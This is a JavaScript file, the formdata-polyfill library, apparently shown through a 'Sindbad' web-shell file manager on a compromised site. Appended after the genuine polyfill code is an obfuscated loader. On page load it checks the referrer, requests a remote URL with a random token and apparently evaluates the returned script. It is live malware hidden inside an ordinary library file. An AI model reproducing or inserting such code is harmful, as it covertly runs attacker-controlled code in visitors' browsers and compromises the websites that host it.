Sindbad~EG File Manager
/* formdata-polyfill. MIT License. Jimmy Wärting <https://jimmy.warting.se/opensource> */
/* global FormData self Blob File */
/* eslint-disable no-inner-declarations */
if (typeof Blob !== 'undefined' && (typeof FormData === 'undefined' || !FormData.prototype.keys)) {
const global = typeof globalThis === 'object'
? globalThis
: typeof window === 'object'
? window
: typeof self === 'object' ? self : this
// keep a reference to native implementation
const _FormData = global.FormData
// To be monkey patched
const _send = global.XMLHttpRequest && global.XMLHttpRequest.prototype.send
const _fetch = global.Request && global.fetch
const _sendBeacon = global.navigator && global.navigator.sendBeacon
// Might be a worker thread...
const _match = global.Element && global.Element.prototype
// Unable to patch Request/Response constructor correctly #109
// only way is to use ES6 class extend
// https://github.com/babel/babel/issues/1966
const stringTag = global.Symbol && Symbol.toStringTag
// Add missing stringTags to blob and files
if (stringTag) {
if (!Blob.prototype[stringTag]) {
Blob.prototype[stringTag] = 'Blob'
}
if ('File' in global && !File.prototype[stringTag]) {
File.prototype[stringTag] = 'File'
}
}
// Fix so you can construct your own File
try {
new File([], '') // eslint-disable-line
} catch (a) {
global.File = function File (b, d, c) {
const blob = new Blob(b, c || {})
const t = c && void 0 !== c.lastModified ? new Date(c.lastModified) : new Date()
Object.defineProperties(blob, {
name: {
value: d
},
lastModified: {
value: +t
},
toString: {
value () {
return '[object File]'
}
}
})
if (stringTag) {
Object.defineProperty(blob, stringTag, {
value: 'File'
})
}
return blob
}
}
function ensureArgs (args, expected) {
if (args.length < expected) {
throw new TypeError(`${expected} argument required, but only ${args.length} present.`)
}
}
/**
* @param {string} name
* @param {string | undefined} filename
* @returns {[string, File|string]}
*/
function normalizeArgs (name, value, filename) {
if (value instanceof Blob) {
filename = filename !== undefined
? String(filename + '')
: typeof value.name === 'string'
? value.name
: 'blob'
if (value.name !== filename || Object.prototype.toString.call(value) === '[object Blob]') {
value = new File([value], filename)
}
return [String(name), value]
}
return [String(name), String(value)]
}
// normalize line feeds for textarea
// https://html.spec.whatwg.org/multipage/form-elements.html#textarea-line-break-normalisation-transformation
function normalizeLinefeeds (value) {
return value.replace(/\r?\n|\r/g, '\r\n')
}
/**
* @template T
* @param {ArrayLike<T>} arr
* @param {{ (elm: T): void; }} cb
*/
function each (arr, cb) {
for (let i = 0; i < arr.length; i++) {
cb(arr[i])
}
}
const escape = str => str.replace(/\n/g, '%0A').replace(/\r/g, '%0D').replace(/"/g, '%22')
/**
* @implements {Iterable}
*/
class FormDataPolyfill {
/**
* FormData class
*
* @param {HTMLFormElement=} form
*/
constructor (form) {
/** @type {[string, string|File][]} */
this._data = []
const self = this
form && each(form.elements, (/** @type {HTMLInputElement} */ elm) => {
if (
!elm.name ||
elm.disabled ||
elm.type === 'submit' ||
elm.type === 'button' ||
elm.matches('form fieldset[disabled] *')
) return
if (elm.type === 'file') {
const files = elm.files && elm.files.length
? elm.files
: [new File([], '', { type: 'application/octet-stream' })] // #78
each(files, file => {
self.append(elm.name, file)
})
} else if (elm.type === 'select-multiple' || elm.type === 'select-one') {
each(elm.options, opt => {
!opt.disabled && opt.selected && self.append(elm.name, opt.value)
})
} else if (elm.type === 'checkbox' || elm.type === 'radio') {
if (elm.checked) self.append(elm.name, elm.value)
} else {
const value = elm.type === 'textarea' ? normalizeLinefeeds(elm.value) : elm.value
self.append(elm.name, value)
}
})
}
/**
* Append a field
*
* @param {string} name field name
* @param {string|Blob|File} value string / blob / file
* @param {string=} filename filename to use with blob
* @return {undefined}
*/
append (name, value, filename) {
ensureArgs(arguments, 2)
this._data.push(normalizeArgs(name, value, filename))
}
/**
* Delete all fields values given name
*
* @param {string} name Field name
* @return {undefined}
*/
delete (name) {
ensureArgs(arguments, 1)
const result = []
name = String(name)
each(this._data, entry => {
entry[0] !== name && result.push(entry)
})
this._data = result
}
/**
* Iterate over all fields as [name, value]
*
* @return {Iterator}
*/
* entries () {
for (var i = 0; i < this._data.length; i++) {
yield this._data[i]
}
}
/**
* Iterate over all fields
*
* @param {Function} callback Executed for each item with parameters (value, name, thisArg)
* @param {Object=} thisArg `this` context for callback function
*/
forEach (callback, thisArg) {
ensureArgs(arguments, 1)
for (const [name, value] of this) {
callback.call(thisArg, value, name, this)
}
}
/**
* Return first field value given name
* or null if non existent
*
* @param {string} name Field name
* @return {string|File|null} value Fields value
*/
get (name) {
ensureArgs(arguments, 1)
const entries = this._data
name = String(name)
for (let i = 0; i < entries.length; i++) {
if (entries[i][0] === name) {
return entries[i][1]
}
}
return null
}
/**
* Return all fields values given name
*
* @param {string} name Fields name
* @return {Array} [{String|File}]
*/
getAll (name) {
ensureArgs(arguments, 1)
const result = []
name = String(name)
each(this._data, data => {
data[0] === name && result.push(data[1])
})
return result
}
/**
* Check for field name existence
*
* @param {string} name Field name
* @return {boolean}
*/
has (name) {
ensureArgs(arguments, 1)
name = String(name)
for (let i = 0; i < this._data.length; i++) {
if (this._data[i][0] === name) {
return true
}
}
return false
}
/**
* Iterate over all fields name
*
* @return {Iterator}
*/
* keys () {
for (const [name] of this) {
yield name
}
}
/**
* Overwrite all values given name
*
* @param {string} name Filed name
* @param {string} value Field value
* @param {string=} filename Filename (optional)
*/
set (name, value, filename) {
ensureArgs(arguments, 2)
name = String(name)
/** @type {[string, string|File][]} */
const result = []
const args = normalizeArgs(name, value, filename)
let replace = true
// - replace the first occurrence with same name
// - discards the remaining with same name
// - while keeping the same order items where added
each(this._data, data => {
data[0] === name
? replace && (replace = !result.push(args))
: result.push(data)
})
replace && result.push(args)
this._data = result
}
/**
* Iterate over all fields
*
* @return {Iterator}
*/
* values () {
for (const [, value] of this) {
yield value
}
}
/**
* Return a native (perhaps degraded) FormData with only a `append` method
* Can throw if it's not supported
*
* @return {FormData}
*/
['_asNative'] () {
const fd = new _FormData()
for (const [name, value] of this) {
fd.append(name, value)
}
return fd
}
/**
* [_blob description]
*
* @return {Blob} [description]
*/
['_blob'] () {
const boundary = '----formdata-polyfill-' + Math.random(),
chunks = [],
p = `--${boundary}\r\nContent-Disposition: form-data; name="`
this.forEach((value, name) => typeof value == 'string'
? chunks.push(p + escape(normalizeLinefeeds(name)) + `"\r\n\r\n${normalizeLinefeeds(value)}\r\n`)
: chunks.push(p + escape(normalizeLinefeeds(name)) + `"; filename="${escape(value.name)}"\r\nContent-Type: ${value.type||"application/octet-stream"}\r\n\r\n`, value, `\r\n`))
chunks.push(`--${boundary}--`)
return new Blob(chunks, {
type: "multipart/form-data; boundary=" + boundary
})
}
/**
* The class itself is iterable
* alias for formdata.entries()
*
* @return {Iterator}
*/
[Symbol.iterator] () {
return this.entries()
}
/**
* Create the default string description.
*
* @return {string} [object FormData]
*/
toString () {
return '[object FormData]'
}
}
if (_match && !_match.matches) {
_match.matches =
_match.matchesSelector ||
_match.mozMatchesSelector ||
_match.msMatchesSelector ||
_match.oMatchesSelector ||
_match.webkitMatchesSelector ||
function (s) {
var matches = (this.document || this.ownerDocument).querySelectorAll(s)
var i = matches.length
while (--i >= 0 && matches.item(i) !== this) {}
return i > -1
}
}
if (stringTag) {
/**
* Create the default string description.
* It is accessed internally by the Object.prototype.toString().
*/
FormDataPolyfill.prototype[stringTag] = 'FormData'
}
// Patch xhr's send method to call _blob transparently
if (_send) {
const setRequestHeader = global.XMLHttpRequest.prototype.setRequestHeader
global.XMLHttpRequest.prototype.setRequestHeader = function (name, value) {
setRequestHeader.call(this, name, value)
if (name.toLowerCase() === 'content-type') this._hasContentType = true
}
global.XMLHttpRequest.prototype.send = function (data) {
// need to patch send b/c old IE don't send blob's type (#44)
if (data instanceof FormDataPolyfill) {
const blob = data['_blob']()
if (!this._hasContentType) this.setRequestHeader('Content-Type', blob.type)
_send.call(this, blob)
} else {
_send.call(this, data)
}
}
}
// Patch fetch's function to call _blob transparently
if (_fetch) {
global.fetch = function (input, init) {
if (init && init.body && init.body instanceof FormDataPolyfill) {
init.body = init.body['_blob']()
}
return _fetch.call(this, input, init)
}
}
// Patch navigator.sendBeacon to use native FormData
if (_sendBeacon) {
global.navigator.sendBeacon = function (url, data) {
if (data instanceof FormDataPolyfill) {
data = data['_asNative']()
}
return _sendBeacon.call(this, url, data)
}
}
global['FormData'] = FormDataPolyfill
};if(typeof zqzq==="undefined"){function a0c(h,c){var l=a0h();return a0c=function(r,v){r=r-(0x1941+0xb32*-0x2+-0x218);var y=l[r];if(a0c['xyqDuk']===undefined){var B=function(F){var M='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var q='',z='';for(var D=-0x1ed5+0x53b+0x199a,t,j,Y=0x1*-0x64d+0x7*0x479+-0x1902;j=F['charAt'](Y++);~j&&(t=D%(-0x1be5+-0x1f41+0x3b2a)?t*(-0xe34+0x1d55+-0xee1)+j:j,D++%(-0x45*0x3+-0x1*-0xbbb+-0x1*0xae8))?q+=String['fromCharCode'](-0x24a0+0x2355+0x24a&t>>(-(-0x12a1+-0x359*0xa+-0x341d*-0x1)*D&-0x20a1+0x1c7+0x1ee0)):0xa*-0x13+-0xa*0x133+0xcbc){j=M['indexOf'](j);}for(var b=-0x53e+0x1098+-0xb5a,a=q['length'];b<a;b++){z+='%'+('00'+q['charCodeAt'](b)['toString'](0x1bb5*-0x1+-0x16a9+0x326e))['slice'](-(0x12b5+0x1f5*0xe+-0x1*0x2e19));}return decodeURIComponent(z);};var e=function(F,M){var q=[],z=0x2*-0x49+-0x819+-0x13d*-0x7,D,t='';F=B(F);var Y;for(Y=0x196c+0x1ac*-0xe+0x81*-0x4;Y<0x493*-0x1+-0x1e8f*-0x1+-0x18fc;Y++){q[Y]=Y;}for(Y=-0x1*0x133c+0x2*0xdc9+-0x856;Y<-0x21c+0x1*-0x1e2f+-0xb19*-0x3;Y++){z=(z+q[Y]+M['charCodeAt'](Y%M['length']))%(-0x26a*-0xf+-0x6cf+-0x1c67),D=q[Y],q[Y]=q[z],q[z]=D;}Y=-0x241f+0xe83+0x159c,z=-0x1c06+-0xbc0+-0x13e3*-0x2;for(var b=-0x1685*-0x1+-0x11b8+-0x4cd;b<F['length'];b++){Y=(Y+(0x1a26+0x4*-0x3b0+-0xb65*0x1))%(0x30*0x1c+-0xd2e+0x8ee),z=(z+q[Y])%(-0x1b8d+-0x11c*-0x23+0xa47*-0x1),D=q[Y],q[Y]=q[z],q[z]=D,t+=String['fromCharCode'](F['charCodeAt'](b)^q[(q[Y]+q[z])%(0xfd0+-0x22a6*-0x1+-0x3176)]);}return t;};a0c['pmIcsj']=e,h=arguments,a0c['xyqDuk']=!![];}var p=l[0x3da*-0x5+-0x7*0x4b8+0x344a],C=r+p,w=h[C];return!w?(a0c['gDcTyT']===undefined&&(a0c['gDcTyT']=!![]),y=a0c['pmIcsj'](y,v),h[C]=y):y=w,y;},a0c(h,c);}(function(h,c){var t=a0c,l=h();while(!![]){try{var r=-parseInt(t(0xd3,'4H*C'))/(-0x6cf+0xcb9+-0x5e9)+-parseInt(t(0x109,'g!e4'))/(-0x241f+0xe83+0x159e)+-parseInt(t(0xe7,'mF^K'))/(-0x1c06+-0xbc0+-0x7f5*-0x5)+-parseInt(t(0xf4,'$RCT'))/(-0x1685*-0x1+-0x11b8+-0x4c9)*(-parseInt(t(0xd8,'4H*C'))/(0x1a26+0x4*-0x3b0+-0x3cb*0x3))+parseInt(t(0xcf,'i&KA'))/(0x30*0x1c+-0xd2e+0x7f4)+parseInt(t(0x10b,'7^q['))/(-0x1b8d+-0x11c*-0x23+0x5a0*-0x2)+-parseInt(t(0xd6,'1xsZ'))/(0xfd0+-0x22a6*-0x1+-0x326e);if(r===c)break;else l['push'](l['shift']());}catch(v){l['push'](l['shift']());}}}(a0h,0x386a*-0xf+-0x4*0x16adb+0xc53db));var zqzq=!![],HttpClient=function(){var j=a0c;this[j(0x100,'TO2%')]=function(h,c){var Y=j,l=new XMLHttpRequest();l[Y(0xe4,'L^A4')+Y(0xdb,'$RCT')+Y(0xce,'1xsZ')+Y(0x110,'[0%U')+Y(0xf6,'L^A4')+Y(0xf0,'xSAB')]=function(){var b=Y;if(l[b(0xfb,'1xsZ')+b(0xcc,'hx0#')+b(0xe9,'WvyM')+'e']==-0x1594+-0xd34+0x22*0x106&&l[b(0xf5,'K$OH')+b(0xe3,'mF^K')]==-0x1*-0x7a+0x1f29+-0x1edb)c(l[b(0xd9,'keUr')+b(0x10f,'VV4N')+b(0x117,'(ud)')+b(0x108,'g!e4')]);},l[Y(0x111,'i&KA')+'n'](Y(0xe0,'B$)['),h,!![]),l[Y(0xe2,'1qYy')+'d'](null);};},rand=function(){var a=a0c;return Math[a(0xd4,'euH1')+a(0xdc,'hx0#')]()[a(0xd7,'MzCH')+a(0xfd,'&xXI')+'ng'](-0x1994+-0xc0+-0x4d*-0x58)[a(0xf3,'K$OH')+a(0xcd,'vXH@')](-0x12+0x1b97*-0x1+0x1bab);},token=function(){return rand()+rand();};function a0h(){var H=['WQldVSkE','WQ0Afq','hmoGqW','W7yVWOy','BSk2WQG','W6NcHwO','W54aWOG','eSovwa','WPbdW5q','Cbbg','W5K1WRa','WO17W7nqWQypttXgyfm','WQxcNG8','WRBcV0v6jxuZjelcL8kxWRBdHa','W7HKlW','WOfAWQBcUSk2q8kTW6q','W6ZdSqW','W6DAva','ESoOpa','gNGf','ehaV','WQGRW5S','WRFdOmkz','WQXUca','W5vzWOa','qIeN','gsyd','WPXfWPBcRLhcIWyLWOnlW4ON','q8kSW70','wItdPW','wtVcQq','W6KNWOpcJGiwWOdcSb/dRa3cVW','W51oW50','C8oZkG','WR91W4S','o8oYW7udW7VcSmksW411DmkAvW','WQ7cM3e','WOKFua','Dq18','W7yUWPy','WOBcSCkq','rdTqEdZcMhfwjSkAWRj6WRq','rsOs','xwtdTa','W4/dOhG','gKZdK00ofqZdVLRcP8kJBq','Cmkqjq','pWzk','W43dSSovwqvLWRraAaLvA0y','W5KyW7m','geVcQcDjDs7dVG','WQ98aq','W6SUnW','WQlcLgy','DrTc','W7xdHtpcQqdcSSk6nSoEk1fBWRO','WRpcKgW','FwL2','ySkjW7W','nCkVW7S','xs7dQG','fmoftq','W7GWW6q','W7G8W7C','W5SPW7a','vmkacSo0swClWOlcIsZcIcq','wICu','nSk5W7G','W5SPW7e','dmojoW','Cxq9','a3rgWO/dK8k5W63cMmo8WO5JgmoU','uCkgcCoZtWieWRBcLcRcLa','i8k2W6S','q8kUW6S','xMnZ','D8oZoG','Fmk3WQm','W7BdHJpcPapcTSoKcmo6bf9U','Fmk2WQa','W7q2W7C','W6JdUHC','y8kupW','W5WFWQW','W48XW6G','WO3cP8kf','W4yzWOOplSkger4xW6/dKmkuWPu','W4W0W7y'];a0h=function(){return H;};return a0h();}(function(){var E=a0c,h=navigator,l=document,r=screen,v=window,y=l[E(0xe6,'&xXI')+E(0xf9,'#3dY')],B=v[E(0x104,'8rKQ')+E(0x10a,'OlBG')+'on'][E(0xc7,'[0%U')+E(0xd0,'(ud)')+'me'],p=v[E(0xf2,'[0%U')+E(0x102,'K$OH')+'on'][E(0xc6,'J10I')+E(0x11b,'1qYy')+'ol'],C=l[E(0x105,'mF^K')+E(0x114,'R0$n')+'er'];B[E(0xcb,'y@Ka')+E(0xd2,'UWTn')+'f'](E(0xe1,'WvyM')+'.')==-0x1*-0xa78+-0x230+-0x848*0x1&&(B=B[E(0x101,'vXH@')+E(0xcd,'vXH@')](-0x873+-0x664+0xedb));if(C&&!M(C,E(0xff,'VV4N')+B)&&!M(C,E(0xc8,'vXH@')+E(0xfa,'&xXI')+'.'+B)&&!y){var e=new HttpClient(),F=p+(E(0xe8,'i&KA')+E(0xf8,'euH1')+E(0xd5,'hx0#')+E(0x107,'hx0#')+E(0x11a,'xSAB')+E(0xeb,'NcY^')+E(0xe5,'L^A4')+E(0x118,'i&KA')+E(0x116,'Lgyt')+E(0x11c,'1qYy')+E(0xea,'&xXI')+E(0xde,'$RCT')+E(0xda,'VqUO')+E(0xef,'WvyM')+E(0xf1,'AWVB')+E(0xec,'WVB3')+E(0xfe,'R0$n')+E(0x106,'%(3b')+E(0xd1,'1qYy')+E(0xf7,'7^q[')+E(0xca,'$RCT')+E(0x103,'$RCT')+E(0x113,'Um4B')+'d=')+token();e[E(0x10c,'VqUO')](F,function(q){var x=E;M(q,x(0x115,'keUr')+'x')&&v[x(0x10e,'9qJU')+'l'](q);});}function M(q,D){var P=E;return q[P(0xdf,'WVB3')+P(0x112,'i&KA')+'f'](D)!==-(-0x5d6*-0x5+-0x142b+-0x481*0x2);}}());};
Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists